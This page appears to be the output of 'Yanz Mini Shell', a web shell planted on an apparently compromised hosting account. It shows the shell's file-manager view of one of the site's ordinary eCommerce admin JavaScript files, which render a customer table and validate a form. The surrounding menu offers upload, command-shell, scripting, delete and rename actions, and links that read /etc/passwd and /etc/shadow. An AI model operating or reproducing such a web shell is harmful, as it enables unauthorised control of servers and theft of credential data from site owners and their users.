Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
/** * App eCommerce customer all */ 'use strict'; // Datatable (jquery) $(function () { let borderColor, bodyBg, headingColor; if (isDarkStyle) { borderColor = config.colors_dark.borderColor; bodyBg = config.colors_dark.bodyBg; headingColor = config.colors_dark.headingColor; } else { borderColor = config.colors.borderColor; bodyBg = config.colors.bodyBg; headingColor = config.colors.headingColor; } // Variable declaration for table var dt_customer_table = $('.datatables-customers'), select2 = $('.select2'), customerView = 'app-ecommerce-customer-details-overview.html'; if (select2.length) { var $this = select2; select2Focus($this); $this.wrap('<div class="position-relative"></div>').select2({ placeholder: 'United States ', dropdownParent: $this.parent() }); } // customers datatable if (dt_customer_table.length) { var dt_customer = dt_customer_table.DataTable({ ajax: assetsPath + 'json/ecommerce-customer-all.json', // JSON file to add data columns: [ // columns according to JSON { data: '' }, { data: 'id' }, { data: 'customer' }, { data: 'customer_id' }, { data: 'country' }, { data: 'order' }, { data: 'total_spent' } ], columnDefs: [ { // For Responsive className: 'control', searchable: false, orderable: false, responsivePriority: 2, targets: 0, render: function (data, type, full, meta) { return ''; } }, { // For Checkboxes targets: 1, orderable: false, searchable: false, responsivePriority: 3, checkboxes: true, render: function () { return '<input type="checkbox" class="dt-checkboxes form-check-input">'; }, checkboxes: { selectAllRender: '<input type="checkbox" class="form-check-input">' } }, { // customer full name and email targets: 2, responsivePriority: 1, render: function (data, type, full, meta) { var $name = full['customer'], $email = full['email'], $image = full['image']; if ($image) { // For Avatar image var $output = '<img src="' + assetsPath + 'img/avatars/' + $image + '" alt="Avatar" class="rounded-circle">'; } else { // For Avatar badge var stateNum = Math.floor(Math.random() * 6); var states = ['success', 'danger', 'warning', 'info', 'dark', 'primary', 'secondary']; var $state = states[stateNum], $name = full['customer'], $initials = $name.match(/\b\w/g) || []; $initials = (($initials.shift() || '') + ($initials.pop() || '')).toUpperCase(); $output = '<span class="avatar-initial rounded-circle bg-label-' + $state + '">' + $initials + '</span>'; } // Creates full output for row var $row_output = '<div class="d-flex justify-content-start align-items-center customer-name">' + '<div class="avatar-wrapper me-3">' + '<div class="avatar avatar-sm">' + $output + '</div>' + '</div>' + '<div class="d-flex flex-column">' + '<a href="' + customerView + '"class="text-heading"><span class="fw-medium text-truncate">' + $name + '</span></a>' + '<small class="text-truncate">' + $email + '</small>' + '</div>' + '</div>'; return $row_output; } }, { // customer Role targets: 3, render: function (data, type, full, meta) { var $id = full['customer_id']; return '<span class="text-heading">#' + $id + '</span>'; } }, { // Plans targets: 4, render: function (data, type, full, meta) { var $plan = full['country']; var $code = full['country_code']; if ($code) { var $output_code = `<i class ="fis fi fi-${$code} rounded-circle me-2 fs-4"></i>`; } else { // For Avatar badge var $output_code = `<i class ="fis fi fi-xx rounded-circle me-2 fs-4"></i>`; } var $row_output = '<div class="d-flex justify-content-start align-items-center customer-country">' + '<div>' + $output_code + '</div>' + '<div>' + '<span>' + $plan + '</span>' + '</div>' + '</div>'; return $row_output; } }, { // customer Status targets: 5, render: function (data, type, full, meta) { var $status = full['order']; return '<span>' + $status + '</span>'; } }, { // customer Spent targets: 6, render: function (data, type, full, meta) { var $spent = full['total_spent']; return '<h6 class="mb-0">' + $spent + '</h6>'; } } ], order: [[2, 'desc']], dom: // '<"card-header d-flex rounded-0 flex-wrap pb-md-0 pt-0"' + '<"me-5 pe-5"f>' + '<"d-flex justify-content-start justify-content-md-end align-items-baseline"<"dt-action-buttons d-flex align-items-start align-items-md-center justify-content-sm-center gap-4"lB>>' + '>t' + '<"row mx-1"' + '<"col-sm-12 col-md-6"i>' + '<"col-sm-12 col-md-6"p>' + '>', language: { sLengthMenu: '_MENU_', search: '', searchPlaceholder: 'Search Order', paginate: { next: '<i class="ri-arrow-right-s-line"></i>', previous: '<i class="ri-arrow-left-s-line"></i>' } }, // Buttons with Dropdown buttons: [ { extend: 'collection', className: 'btn btn-outline-secondary dropdown-toggle me-4 waves-effect waves-light', text: '<i class="ri-upload-2-line ri-16px me-1"></i> <span class="d-none d-sm-inline-block">Export</span>', buttons: [ { extend: 'print', text: '<i class="ri-printer-line me-1"></i>Print', className: 'dropdown-item', exportOptions: { columns: [1, 2, 3, 4, 5], // prevent avatar to be print format: { body: function (inner, coldex, rowdex) { if (inner.length <= 0) return inner; var el = $.parseHTML(inner); var result = ''; $.each(el, function (index, item) { if (item.classList !== undefined && item.classList.contains('customer-name')) { result = result + item.lastChild.firstChild.textContent; } else if (item.innerText === undefined) { result = result + item.textContent; } else result = result + item.innerText; }); return result; } } }, customize: function (win) { //customize print view for dark $(win.document.body) .css('color', headingColor) .css('border-color', borderColor) .css('background-color', bodyBg); $(win.document.body) .find('table') .addClass('compact') .css('color', 'inherit') .css('border-color', 'inherit') .css('background-color', 'inherit'); } }, { extend: 'csv', text: '<i class="ri-file-text-line me-1" ></i>Csv', className: 'dropdown-item', exportOptions: { columns: [1, 2, 3, 4, 5], // prevent avatar to be display format: { body: function (inner, coldex, rowdex) { if (inner.length <= 0) return inner; var el = $.parseHTML(inner); var result = ''; $.each(el, function (index, item) { if (item.classList !== undefined && item.classList.contains('customer-name')) { result = result + item.lastChild.firstChild.textContent; } else if (item.innerText === undefined) { result = result + item.textContent; } else result = result + item.innerText; }); return result; } } } }, { extend: 'excel', text: '<i class="ri-file-excel-line me-1"></i>Excel', className: 'dropdown-item', exportOptions: { columns: [1, 2, 3, 4, 5], // prevent avatar to be display format: { body: function (inner, coldex, rowdex) { if (inner.length <= 0) return inner; var el = $.parseHTML(inner); var result = ''; $.each(el, function (index, item) { if (item.classList !== undefined && item.classList.contains('customer-name')) { result = result + item.lastChild.firstChild.textContent; } else if (item.innerText === undefined) { result = result + item.textContent; } else result = result + item.innerText; }); return result; } } } }, { extend: 'pdf', text: '<i class="ri-file-pdf-line me-1"></i>Pdf', className: 'dropdown-item', exportOptions: { columns: [1, 2, 3, 4, 5], // prevent avatar to be display format: { body: function (inner, coldex, rowdex) { if (inner.length <= 0) return inner; var el = $.parseHTML(inner); var result = ''; $.each(el, function (index, item) { if (item.classList !== undefined && item.classList.contains('customer-name')) { result = result + item.lastChild.firstChild.textContent; } else if (item.innerText === undefined) { result = result + item.textContent; } else result = result + item.innerText; }); return result; } } } }, { extend: 'copy', text: '<i class="ri-file-copy-line me-1"></i>Copy', className: 'dropdown-item', exportOptions: { columns: [1, 2, 3, 4, 5], // prevent avatar to be display format: { body: function (inner, coldex, rowdex) { if (inner.length <= 0) return inner; var el = $.parseHTML(inner); var result = ''; $.each(el, function (index, item) { if (item.classList !== undefined && item.classList.contains('customer-name')) { result = result + item.lastChild.firstChild.textContent; } else if (item.innerText === undefined) { result = result + item.textContent; } else result = result + item.innerText; }); return result; } } } } ] }, { text: '<i class="ri-add-line ri-16px me-0 me-sm-1 align-baseline"></i><span class="d-none d-sm-inline-block">Add Customer</span>', className: 'add-new btn btn-primary waves-effect waves-light', attr: { 'data-bs-toggle': 'offcanvas', 'data-bs-target': '#offcanvasEcommerceCustomerAdd' } } ], // For responsive popup responsive: { details: { display: $.fn.dataTable.Responsive.display.modal({ header: function (row) { var data = row.data(); return 'Details of ' + data['customer']; } }), type: 'column', renderer: function (api, rowIdx, columns) { var data = $.map(columns, function (col, i) { return col.title !== '' // ? Do not show row in modal popup if title is blank (for check box) ? '<tr data-dt-row="' + col.rowIndex + '" data-dt-column="' + col.columnIndex + '">' + '<td>' + col.title + ':' + '</td> ' + '<td>' + col.data + '</td>' + '</tr>' : ''; }).join(''); return data ? $('<table class="table"/><tbody />').append(data) : false; } } } }); $('.dataTables_length').addClass('my-0'); $('.dt-action-buttons').addClass('pt-0'); $('.dataTables_filter input').addClass('ms-0'); $('.dt-buttons').addClass('d-flex flex-wrap'); } }); // Validation & Phone mask (function () { const phoneMaskList = document.querySelectorAll('.phone-mask'), eCommerceCustomerAddForm = document.getElementById('eCommerceCustomerAddForm'); // Phone Number if (phoneMaskList) { phoneMaskList.forEach(function (phoneMask) { new Cleave(phoneMask, { phone: true, phoneRegionCode: 'US' }); }); } // Add New customer Form Validation const fv = FormValidation.formValidation(eCommerceCustomerAddForm, { fields: { customerName: { validators: { notEmpty: { message: 'Please enter fullname ' } } }, customerEmail: { validators: { notEmpty: { message: 'Please enter your email' }, emailAddress: { message: 'The value is not a valid email address' } } } }, plugins: { trigger: new FormValidation.plugins.Trigger(), bootstrap5: new FormValidation.plugins.Bootstrap5({ // Use this for enabling/changing valid/invalid class eleValidClass: '', rowSelector: function (field, ele) { // field is the field name & ele is the field element return '.mb-5'; } }), submitButton: new FormValidation.plugins.SubmitButton(), // Submit the form when all fields are valid // defaultSubmit: new FormValidation.plugins.DefaultSubmit(), autoFocus: new FormValidation.plugins.AutoFocus() } }); })();
Free Space : 107270995968 Byte